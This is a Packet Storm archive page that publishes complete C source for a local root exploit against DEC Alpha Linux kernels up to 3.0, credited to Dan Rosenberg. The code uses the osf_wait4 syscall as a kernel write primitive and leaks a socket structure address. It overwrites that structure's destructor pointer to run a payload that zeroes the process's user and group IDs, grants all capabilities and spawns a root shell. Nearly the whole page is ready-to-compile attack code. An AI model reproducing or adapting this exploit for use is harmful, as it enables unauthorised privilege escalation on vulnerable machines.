what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DEC Alpha Linux 3.0 Local Root Exploit

DEC Alpha Linux 3.0 Local Root Exploit
Posted Jun 12, 2011
Authored by Dan Rosenberg

DEC Alpha Linux versions 3.0 and below local root exploit.

tags | exploit, local, root
systems | linux
SHA-256 | d76bee4c4585b03f096adb7e2ba9879f136892e3a1e26c3bf3b96050672a92de

DEC Alpha Linux 3.0 Local Root Exploit

Change Mirror Download
/*
* DEC Alpha Linux <= 3.0 local root exploit
* by Dan Rosenberg (@djrbliss)
*
* Usage:
* $ gcc alpha-omega.c -o alpha-omega
* $ ./alpha-omega
*
* Notes:
* -Payload specific to <= 2.6.28 (no cred struct, modify as needed)
* -Socket trigger tested on 2.6.28 (adjust offset as needed)
* -INET_DIAG parsing code borrowed from netstat
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>

#define SYS_osf_wait4 7
#define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock
* struct, change for your kernel */
#define PAGE_SIZE 8192 /* DEC alpha page size is 8K */
#define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */
#define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */
#define PAYLOAD 0x20000
#define PORT 31337

static int uid, gid;

/* Writes (0xff & value) << 8 to addr */
void kernel_write(unsigned long addr, int value)
{
int pid = fork();

if (pid) {
/* wait4 backdoor number two? ;) */
syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1);
return;
} else {
exit(value);
}
}

/* Get the INET_DIAG cookie for our socket, which contains the low 32 bits
* of the sock struct address */
unsigned int get_cookie(unsigned int port)
{
int fd;
struct sockaddr_nl nladdr;
struct {
struct nlmsghdr nlh;
struct inet_diag_req r;
} req;
struct msghdr msg;
char buf[8192];
struct iovec iov;
struct inet_diag_msg *r;

if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0)
return -1;

memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;

req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = TCPDIAG_GETSOCK;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_pid = 0;
req.nlh.nlmsg_seq = 123456;
memset(&req.r, 0, sizeof(req.r));
req.r.idiag_family = AF_INET;
req.r.idiag_states = 0xfff;
req.r.idiag_ext = 0;

iov.iov_base = &req;
iov.iov_len = sizeof(req);

msg = (struct msghdr) {
.msg_name = (void*)&nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};

if (sendmsg(fd, &msg, 0) < 0) {
close(fd);
return -1;
}

iov.iov_base = buf;
iov.iov_len = sizeof(buf);

while (1) {
int status;
struct nlmsghdr *h;

msg = (struct msghdr) {
(void*)&nladdr, sizeof(nladdr),
&iov, 1, NULL, 0, 0
};

status = recvmsg(fd, &msg, 0);

if (status < 0) {
if (errno == EINTR)
continue;
close(fd);
return -1;
}

if (status == 0) {
close(fd);
return -1;
}

h = (struct nlmsghdr*)buf;
while (NLMSG_OK(h, status)) {
if (h->nlmsg_seq == 123456) {
if (h->nlmsg_type == NLMSG_DONE) {
close(fd);
return -1;
}

if (h->nlmsg_type == NLMSG_ERROR) {
close(fd);
return -1;
}

r = NLMSG_DATA(h);
if (r->idiag_family == AF_INET &&
ntohs(r->id.idiag_sport) == port)
return r->id.idiag_cookie[0];

}
h = NLMSG_NEXT(h, status);
}
}
close(fd);
return -1;
}

/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
FILE *f;
char buf[1024], path[512];
unsigned int testport, cookie, a;
unsigned long addr, b;

f = fopen("/proc/net/tcp", "r");

if (f < 0) {
printf("[*] Failed to open /proc/net/tcp\n");
return 0;
}

while (fgets(buf, 1024, f)) {
sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
"%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
"%d\n",
&a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
&a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
&a);
if (testport == port) {
/* If kptr_restrict is on... */
if (!addr) {
cookie = get_cookie(port);
addr = (unsigned long)cookie + KERNEL_BASE;
}
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}

void getroot()
{
int i;
/* Alpha has 16K stacks */
unsigned long thread_info = (unsigned long)&i & ~0x3fff;
unsigned long task_struct = *(unsigned long *)(thread_info +
TASK_STRUCT_OFFSET);
int *j = (int *)task_struct;

for (i = 0; i < 1000; i++, j++) {

if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {

/* uid, euid, suid, fsuid */
j[0] = j[1] = j[2] = j[3] = 0;

/* gid, egid, sgid, fsgid */
j[4] = j[5] = j[6] = j[7] = 0;

/* caps */
j[10] = j[11] = 0xffffffff;
j[12] = j[13] = 0xffffffff;
j[14] = j[15] = 0xffffffff;

break;
}
}
}

void trampoline()
{

asm volatile( "mov %0, $0\n"
"ldq $27, 0($0)\n"
"jsr $26, ($27)\n"
: : "r"(PAYLOAD));

}

int main(int argc, char * argv[])
{
unsigned long target, *payload;
void *landing;
int sock;
struct sockaddr_in addr;
size_t len;

uid = getuid();
gid = getgid();

printf("[*] Opening TCP socket...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);

if (sock < 0) {
printf("[*] Failed to open TCP socket.\n");
return -1;
}

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
printf("[*] Failed to bind TCP socket.\n");
return -1;
}

/* Our socket won't appear in /proc/net/tcp unless it's listening */
if (listen(sock, 1)) {
printf("[*] Failed to listen on TCP socket.\n");
return -1;
}

printf("[*] Getting socket address from INET_DIAG...\n");
target = get_sock_addr(PORT);

if (!target) {
printf("[*] Failed to get socket address.\n");
return -1;
}

printf("[*] Socket address: %lx\n", target);

target += SOCK_OFFSET;

printf("[*] Mapping payload...\n");

landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE |
PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0, 0);

/* We need to keep the address of our payload at a constant address,
* so we can retrieve it and jump to it in our trampoline. */
payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE |
MAP_ANONYMOUS | MAP_FIXED, 0, 0);

if (landing == MAP_FAILED || payload == MAP_FAILED) {
printf("[*] Failed to map payload.\n");
return -1;
}

*payload = (unsigned long)&getroot;

memcpy((void *)landing, &trampoline, 256);

printf("[*] Overwriting function pointer at %lx...\n", target);
kernel_write(target, 0);
kernel_write(target + 4, 0);
kernel_write(target + 1, 1);

printf("[*] Triggering payload...\n");
close(sock);

if (getuid()) {
printf("[*] Failed to get root.\n");
return -1;
}

printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close